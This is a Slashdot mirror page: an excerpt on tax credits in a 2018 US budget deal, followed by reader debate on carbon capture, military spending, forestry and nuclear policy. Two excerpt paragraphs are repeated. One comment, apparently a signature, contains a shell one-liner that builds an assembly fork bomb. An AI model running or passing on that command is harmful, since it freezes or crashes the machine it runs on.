Slashdot Mirror
Budget Deal Has Tax Credit Extensions For Nuclear, Fuel Cells, Carbon Capture (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: A two-year budget deal was approved by the House and the Senate this morning and signed by President Trump a few hours later. The budget (PDF) included a slew of tax credit extensions that will affect how the energy industry plans its next two years. Most notably, the deal extended a $0.018 per-kWh credit for nuclear power plants over 6,000MW -- a tax credit that is primarily going to benefit one project in the US. That project is the construction of two new reactors at the Georgia Vogtle nuclear power plant.
Interestingly, a bipartisan effort to increase and extend tax credits for carbon sequestration passed through this budget. The bill was pushed through by Senators Heidi Heitkamp (D-N.D.), Shelley Moore Capito (R-W.V.), Sheldon Whitehouse (D-R.I.), and John Barrasso (R-Wyo.). The bill would offer a tax credit per ton of carbon dioxide that is captured and either sequestered, used for another end product, or used for enhanced oil recovery. The credit applies to any facility that started carbon capture construction within the past seven years, and the credit extends for 12 years.
While the budget deal leaves the federal tax credit scheme for electric vehicles unchanged (automakers can still entice buyers with a $7,500 credit for the first 200,000 electric vehicles that roll off that automaker's line), the budget did include and extend some interesting tax credits for other kinds of non-traditional energy. Fuel cell vehicles saw an extension of tax credits that will allow purchasers of new cars a tax credit of between $4,000 and $40,000, depending on the weight of the vehicle (this is probably good news for potential customers of Nikola's in-development fuel-cell semis). Non-hydrogen alternative fuel infrastructure also scored, as the new budget lets installers of infrastructure for alternative fuels like biodiesel and natural gas deduct 30 percent of the cost of installing the new pumps. Two-wheeled electric vehicle buyers will also see a 10-percent credit extended (though that credit has a $2,500 cap). Per-gallon biodiesel and renewable diesel credits that expired at the end of 2017 will continue.
Interestingly, a bipartisan effort to increase and extend tax credits for carbon sequestration passed through this budget. The bill was pushed through by Senators Heidi Heitkamp (D-N.D.), Shelley Moore Capito (R-W.V.), Sheldon Whitehouse (D-R.I.), and John Barrasso (R-Wyo.). The bill would offer a tax credit per ton of carbon dioxide that is captured and either sequestered, used for another end product, or used for enhanced oil recovery. The credit applies to any facility that started carbon capture construction within the past seven years, and the credit extends for 12 years.
While the budget deal leaves the federal tax credit scheme for electric vehicles unchanged (automakers can still entice buyers with a $7,500 credit for the first 200,000 electric vehicles that roll off that automaker's line), the budget did include and extend some interesting tax credits for other kinds of non-traditional energy. Fuel cell vehicles saw an extension of tax credits that will allow purchasers of new cars a tax credit of between $4,000 and $40,000, depending on the weight of the vehicle (this is probably good news for potential customers of Nikola's in-development fuel-cell semis). Non-hydrogen alternative fuel infrastructure also scored, as the new budget lets installers of infrastructure for alternative fuels like biodiesel and natural gas deduct 30 percent of the cost of installing the new pumps. Two-wheeled electric vehicle buyers will also see a 10-percent credit extended (though that credit has a $2,500 cap). Per-gallon biodiesel and renewable diesel credits that expired at the end of 2017 will continue.
So, will the nuclear credit cover the billions of dollars of cost in regulatory and judicial delays to nuclear construction? Nuclear is competitive; malicious politics is very expensive.
Carbon capture? Really? As in the fig leaf that defines 'clean coal'?
I understand that the perfect shouldn't be the enemy of the good - but the whole clean coal thing mostly marketing for essentially free-wheeling carbon spewing, rather than an actual process to prevent environmental degredation.
It's like one of those phone calls for police/firefighter funerals - that when asked only give "up to" 15% of their take to their cause - they're PRETENDING to give to something you want to help, eating up all the good will that should be going to something the public wants to help, consuming that good will while the actual cause withers.
Sure - carbon capture can take a small percentage off of some effects of carbon spewing - but it only exists to pretend that you're doing something about a fundamentally wrong approach for our shared efforts as humans. It's basically the opposite of actually doing anything for the environment and the future of humanity - a fig leaf instead of clothing.
Ryan Fenton
E.g. there's a shitload of extra cash for the military
https://www.politico.com/story...
Friday's pact, signed by President Donald Trump, adds $165 billion to the Pentagon budget over two years. That means the military will receive at least $1.4 trillion in total through September 2019 to help buy more fighter planes, ships and other equipment, boost the size of the ranks, and beef up training - a level of funding that seemed a long shot just months ago.
Senate Armed Services Chairman John McCain (R-Ariz.), who has long pushed for a $700 billion annual budget for the military, said in a statement that the agreement finally gives the Pentagon the "budget certainty it needs to begin the process of rebuilding the military."
"The deal is a huge win for defense hawks," said Mackenzie Eaglen of the American Enterprise Institute. "The groundwork was being laid for years culminating in what I predict will be the peak year of defense spending since the last peak in 2010."
Basically the deal is that everyone gets what they want and the deficit goes through the stratosphere. GO USA!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
not bad, what's the ##
What's the ... catch?
Reforestation is important, not just to capture carbon but also to replace trees lost to logging, development, fires, disease, and pests.
The catch is that trees take a long time to grow. So they are only part of the solution to all of the above. Managing existing forests carefully has to be considered also.
If it weren't for deadlines, nothing would be late.
Not just planting trees but also growing them and harvesting them - in other words sustainable forestry.
Even better than trees, in terms of carbon sequestering, is pasture. Pasture sucks up far more carbon than forest and then our livestock turns that biomass (grass, clover, etc) into delicious meat. Green eggs and ham. This too is carbon sequestering.
Those are both part of what we do on our farm but I doubt that there will be any tax benefit.
If Democrats cared about the environment they'd have kicked Carter in the balls for holding up nuclear power. The Democrats have held up nuclear power since Carter signed the law that created the Department of Energy. They spent all this money on a cabinet level department to solve our energy problems and we've not seen a new nuclear power plant in 40 years.
If the issue is energy independence, clean air and water, and reducing our carbon dioxide output then they've failed miserably. This is because of the Democrats. They complain about not having a place to put nuclear waste and when a place is found and construction starts the Democrats pull out the rug from under its feet.
Which also gets to the wasteful spending from the Democrats. They'll "create jobs" and "build infrastructure" on a nuclear waste site but when it comes time to actually put nuclear waste there then everyone is fired, the site abandoned, and we have nothing to show for all that money spent.
I don't like the Republicans, but the Democrats are no angels either. The Democrats had a hand in deficit spending too, like building roads to a nuclear waste site they had no intention on allowing to actually hold nuclear waste.
I am armed because I am free. I am free because I am armed.
he hasn't earned it yet but he is using the german national party's tactic of making the small minded fear immigrants and non-native people by saying they are to blame for all the problems - that was their first baby steps into becoming the Nazis
"The hands that help are better far than lips that pray." - Robert Ingersoll (1833-1899)
This budget is going to make it nigh impossible for all three of those points to be true in 10 years.
"Old man yells at systemd"